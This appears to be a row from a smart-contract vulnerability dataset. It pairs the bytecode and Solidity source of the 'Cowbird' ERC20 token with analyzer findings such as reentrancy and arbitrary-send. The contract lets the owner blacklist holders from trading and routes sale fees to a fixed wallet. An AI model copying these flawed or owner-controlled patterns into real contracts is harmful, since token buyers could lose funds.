b506040519080825280602002602001820160405280156125a55781602001602082028036833780820191505090505b50905030816000815181106125b657fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561265857600080fd5b505afa15801561266c573d6000803e3d6000fd5b505050506040513d602081101561268257600080fd5b8101908080519060200190929190505050816001815181106126a057fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061270730601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611847565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156127cb5780820151818401526020810190506127b0565b505050509050019650505050505050600060405180830381600087803b1580156127f457600080fd5b505af1158015612808573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b60008083141561283e57600090506128ab565b600082840290508284828161284f57fe5b04146128a6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d676021913960400191505060405180910390fd5b809150505b92915050565b60006128f383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b7d565b905092915050565b8061290957612908612c43565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129ac5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129c1576129bc848484612c86565b612b3e565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a645750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a7957612a74848484612ee6565b612b3d565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b1b5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b3057612b2b848484613146565b612b3c565b612b3b84848461343b565b5b5b5b80612b4c57612b4b613606565b5b50505050565b6000806000612b5f61361a565b91509150612b7681836128b190919063ffffffff16565b9250505090565b60008083118290612c29576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612bee578082015181840152602081019050612bd3565b50505050905090810190601f168015612c1b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612c3557fe5b049050809150509392505050565b6000600c54148015612c5757506000600d54145b15612c6157612c84565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c98876138bf565b955095509550955095509550612cf687600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392790919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d8b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e2085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e6c816139f9565b612e768483613b9e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612ef8876138bf565b955095509550955095509550612f5686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612feb83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397190919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061308085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130cc816139f9565b6130d68483613b9e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080613158876138bf565b9550955095509550955095506131b687600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392790919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061324b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132e083600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397190919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061337585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133c1816139f9565b6133cb8483613b9e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061344d876138bf565b9550955095509550955095506134ab86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061354085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061358c816139f9565b6135968483613b9e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a549050600066071afd498d0000905060005b6009805490508110156138785782600260006009848154811061365257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061373957508160036000600984815481106136d157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561375557600a5466071afd498d0000945094505050506138bb565b6137de600260006009848154811061376957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461392790919063ffffffff16565b925061386960036000600984815481106137f457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361392790919063ffffffff16565b91508080600101915050613633565b5061389566071afd498d0000600a546128b190919063ffffffff16565b8210156138b257600a5466071afd498d00009350935050506138bb565b81819350935050505b9091565b60008060008060008060008060006138dc8a600c54600d54613bd8565b92509250925060006138ec612b52565b905060008060006138ff8e878787613c6e565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061396983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612302565b905092915050565b6000808284019050838110156139ef576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613a03612b52565b90506000613a1a828461282b90919063ffffffff16565b9050613a6e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b9957613b5583600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397190919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613bb382600a5461392790919063ffffffff16565b600a81905550613bce81600b5461397190919063ffffffff16565b600b819055505050565b600080600080613c046064613bf6888a61282b90919063ffffffff16565b6128b190919063ffffffff16565b90506000613c2e6064613c20888b61282b90919063ffffffff16565b6128b190919063ffffffff16565b90506000613c5782613c49858c61392790919063ffffffff16565b61392790919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c87858961282b90919063ffffffff16565b90506000613c9e868961282b90919063ffffffff16565b90506000613cb5878961282b90919063ffffffff16565b90506000613cde82613cd0858761392790919063ffffffff16565b61392790919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220e40d2144207b257e426b06c175de391bd44e9a321f4f27a925df0ed3bfe7a5b364736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,348 |
0x49ee95e4a3c339a1ca3384cf75405d6b057ce3dd
|
/**
*Submitted for verification at Etherscan.io on 2022-04-19
*/
/**
We are killers of all other birds.
https://t.me/Cowbirderc
*/
pragma solidity 0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Cowbird is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "Cowbird";
string private constant _symbol = "COWBIRD";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x4e9811239C57216703290b78Cae4cBb4aDB36B37);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 12;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 4;
_feeAddr2 = 8;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 15000000000 * 10**9;
_maxWalletSize = 30000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612e4b565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c919061296e565b6104b4565b60405161018e9190612e30565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612fed565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129aa565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d919061291f565b610633565b60405161021f9190612e30565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612891565b61070c565b005b34801561025d57600080fd5b506102666107fc565b6040516102739190613062565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906129eb565b610805565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612a3d565b6108b7565b005b3480156102da57600080fd5b506102e3610991565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612891565b610a03565b6040516103199190612fed565b60405180910390f35b34801561032e57600080fd5b50610337610a54565b005b34801561034557600080fd5b5061034e610ba7565b005b34801561035c57600080fd5b50610365610c5e565b6040516103729190612d62565b60405180910390f35b34801561038757600080fd5b50610390610c87565b60405161039d9190612e4b565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c8919061296e565b610cc4565b6040516103da9190612e30565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612a3d565b610ce2565b005b34801561041857600080fd5b50610421610dbc565b005b34801561042f57600080fd5b50610438610e36565b005b34801561044657600080fd5b50610461600480360381019061045c91906128e3565b6113a2565b60405161046e9190612fed565b60405180910390f35b60606040518060400160405280600781526020017f436f776269726400000000000000000000000000000000000000000000000000815250905090565b60006104c86104c1611429565b8484611431565b6001905092915050565b6000683635c9adc5dea00000905090565b6104eb611429565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612f2d565b60405180910390fd5b60005b815181101561062f576001600660008484815181106105c3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061062790613303565b91505061057b565b5050565b60006106408484846115fc565b6107018461064c611429565b6106fc8560405180606001604052806028815260200161372660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106b2611429565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8f9092919063ffffffff16565b611431565b600190509392505050565b610714611429565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079890612f2d565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61080d611429565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461089a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089190612f2d565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108bf611429565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461094c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094390612f2d565b60405180910390fd5b6000811161095957600080fd5b610988606461097a83683635c9adc5dea00000611cf390919063ffffffff16565b611d6e90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109d2611429565b73ffffffffffffffffffffffffffffffffffffffff16146109f257600080fd5b6000479050610a0081611db8565b50565b6000610a4d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e24565b9050919050565b610a5c611429565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae090612f2d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610baf611429565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3390612f2d565b60405180910390fd5b683635c9adc5dea00000600f81905550683635c9adc5dea00000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f434f574249524400000000000000000000000000000000000000000000000000815250905090565b6000610cd8610cd1611429565b84846115fc565b6001905092915050565b610cea611429565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6e90612f2d565b60405180910390fd5b60008111610d8457600080fd5b610db36064610da583683635c9adc5dea00000611cf390919063ffffffff16565b611d6e90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfd611429565b73ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b6000610e2830610a03565b9050610e3381611e92565b50565b610e3e611429565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ecb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec290612f2d565b60405180910390fd5b600e60149054906101000a900460ff1615610f1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1290612fcd565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610fab30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611431565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff15760